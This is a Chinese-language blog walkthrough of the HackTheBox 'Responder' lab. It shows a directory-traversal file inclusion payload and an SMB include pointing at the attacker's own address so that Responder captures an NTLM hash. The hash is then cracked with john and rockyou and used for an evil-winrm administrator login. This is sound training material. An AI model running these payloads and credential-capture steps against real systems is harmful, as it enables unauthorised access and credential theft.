HackTheBox-Responder

1.nmap

nmap -v -sV  -sC -sT  10.129.95.234 

图片

只开放了80端口

nmap -p- --min-rate 5000 -sC -sV -v 10.129.95.234  
//-p代表范围,如-p22;-p1-65535
//--min-rate 扫描最低速度

图片

扫出来更多的端口

2.修改hosts文件

直接访问80端口,发现直接跳转到了一个域名,但是无法访问。

猜测可能是要用到谷歌的一些东西,导致DNS解析失败。

Hosts是一个没有扩展名的系统文件,可以用记事本等工具打开,其作用就是将一些zhi常用的网址域名dao与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统再会将网址提交DNS域名解析服务器进行IP地址的解析。 浏览器访问网站,要首先通过DNS服务器把要访问的网站域名解析成一个唯一的IP地址,之后,浏览器才能对此网站进行定位并且访问其数据。 操作系统规定,在进行DNS请求以前,先检查系自己的Hosts文件中是否有这个域名和IP的映射关系。如果有,则直接访问这个IP地址指定的网络位置,如果没有,再向已知的DNS服务器提出域名解析请求。也就是说Hosts的IP解析优先级比DNS要高
所以要在kali的hosts文件里添加这一条解析

vim /etc/hosts
添加如下内容
10.129.95.84      unika.htb

结果如下
图片

3.本地文件包含

http://unika.htb/index.php?
page=../../../../../../../../windows/system32/drivers/etc/hosts
//假如是windows的系统,那么可以通过../../../回到原始目录即C盘下

本地文件读取成功,内容如下

Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a ‘#’ symbol. # # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host # localhost name resolution is handled within DNS itself. # 127.0.0.1 localhost # ::1 localhost 

当然也有可能是linux的系统,那么此时就可以去访问/etc下的passwd等敏感文件

4.Responder的使用

首先下载Responder

git pull git://github.com/lgandx/Responder    
//遇到"解决fatal: 不是一个 git 仓库(或者任何父目录)的方法"
//直接git init即可

然后执行
./Responder.py -I tun0 //tun0是HTB的VPN网卡,对此进行监听

在执行这个py文件之前,要保证config文件的SMB和SQL服务是开着的(ON)

5.远程代码执行

首先本地代码执行

curl -v http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts

图片

返回了信息,说明本地代码执行成功

接下来尝试远程文件包含,http/https包含,但都失败了

尝试smb文件包含

curl -v http://unika.htb/?page=//10.10.16.31/somefile
//10.10.16.31是tun0的ip

此时查看Responder监听的结果
图片

返回了hash值,域和用户

接下来保存hash值

echo “{hash}” 》hash.txt

6.john的使用

这里需要用到kali自带的字典,但是要先进行解压

gzip -d rockyou.txt.gz  //该字典在/usr/share/wordlists目录下

接下来使用john

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

图片

得到administrator的密码是badminton

7.利用5985端口的WinRM服务

首先安装
gem install evil-winrm

远程连接
evil-winrm -i 10.129.255.11 -u administrator -p badminton 

在C:\Users\mike\Desktop> 下
cat flag.txt

图片

详细的可以看官方的walk through文档

Related Posts

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注